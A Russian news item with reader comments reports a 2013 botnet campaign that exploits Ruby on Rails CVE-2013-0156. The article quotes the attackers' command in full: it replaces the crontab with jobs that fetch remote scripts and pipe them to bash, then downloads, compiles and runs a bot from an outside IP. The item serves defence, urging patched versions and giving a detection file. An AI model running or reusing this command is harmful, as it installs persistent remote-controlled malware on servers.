В Сети зафиксирована (http://jarmoc.com/blog/2013/05/28/ror-cve-2013-0156-in-the-wild/) массовая атака на сайты, использующие устаревшие выпуски фреймворка Ruby on Rails, содержащие неисправленную уязвимость CVE-2013-0156 (https://www.opennet.ru/opennews/art.shtml?num=35792). Несмотря на то, что обновление Ruby on Rails с исправлением уязвимости было представлено ещё в январе, остаётся достаточно много систем не установивших обновление и остающихся уязвимыми. Этим и воспользовались злоумышленники, намеренные сформировать новый ботнет на базе таких систем.После эксплуатации уязвимости на сервер устанавливается специальная вредоносная программа, принимающая управляющие команды через IRC (используется канал #rails на сервере cvv4you.ru). В списке процессов вредоносная программа выглядит как "-- bash".
Загрузка вредоносного ПО активируется через Cron. После получения доступа к атакованной системе, на ней выполняется следующий код (загрузка и сборка приложения k.c):
<font color="#461b7e">
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k</font>
Всем пользователям Ruby on Rails рекомендуется убедиться, что на их серверах установлены свежие выпуски фреймворка 3.2.13, 3.1.12 или 2.3.18. Проверить активность вредоносного приложения можно по наличию файла /tmp/tan.pid.
URL: http://jarmoc.com/blog/2013/05/28/ror-cve-2013-0156-in-the-wild/
Новость: https://www.opennet.ru/opennews/art.shtml?num=37064
Ай, спасибо, добрый человек.
*Убежал проверяться.
Не читаешь сесуриту рассылку и держишь компилятор на сервере? ай ай ай
"сесуриту" ? А это в куда?
отсутствие компилятора на сервере... как элемент защиты. виндовсятник?
> отсутствие компилятора на сервере... как элемент защиты. виндовсятник?скорее убунтоид, если разница кого-то волнует
под_linux_нету_вирусов.jpg
Ещё один из разряда «прочитал всё, не понял ни одной буквы».
Да тут врятли дальше заголовка пошло дело.
Это ж не вирус :) Резидентный вирусов, как в винде, под Линукс/BSD и правда нету.
> Это ж не вирус :) Резидентный вирусов, как в винде, под Линукс/BSD
> и правда нету.Вообще есть)
Но они очень редки, в пересчете на количество пользователей/серверов.
И чаще это руткиты.
Определение вируса (заодним и других зловредов) хоть в Википедии прочитай и заучи наизусть как устав караульной службы, если суть запомнить не можешь. Может, тебе это поможет не позориться на компьютерных форумах.
они поломали хетзнир?--2013-05-31 10:21:32-- http://88.198.20.247/k.c
Connecting to 88.198.20.247:80... connected.
HTTP request sent, awaiting response...
и тишина...
У тебя неправильный юзерагент
> У тебя неправильный юзерагентчто-то я не заметил в том cronjob левого UA
User-Agent: Wget/1.13.4 (linux-gnu)
[tiger@laptop]:~%wget --user-agent="Wget/1.13.4 (linux-gnu)" http://88.198.20.247/k.c
--2013-05-31 13:00:31-- http://88.198.20.247/k.c
HTTP request sent, awaiting response... 504 Gateway Time-out
2013-05-31 13:03:31 ERROR 504: Gateway Time-out.
уже прикрыли хосты и айпи
ТолстОта
Что то по тенденции руби напоминает друшлак :D
Как и всё, что админы поставили и оставили без внимания на длительное время.
> Как и всё, что админы поставили и оставили без внимания на длительное
> время.А если админа контрора берет только для внедрения, а потом фактически засылает его?
причем тут руби? говориться про рельсы
http://www.cvedetails.com/vulnerability-list/vendor_id-10199...
Он не знает что такое руби.
Да похоже и рельсы не знает что такое.
>Всем пользователям Ruby on Rails рекомендуется убедиться, что на их серверах установленыgcc
>>Всем пользователям Ruby on Rails рекомендуется убедиться, что на их серверах установлены
> gccПрикинь, если выставленные наружу виндовые сервера (нам пытались такую технологию впарить). Такому серверу ничто не угрожает ... минут 15. Потом пипец.
https://jira.mongodb.org/browse/PYTHON-532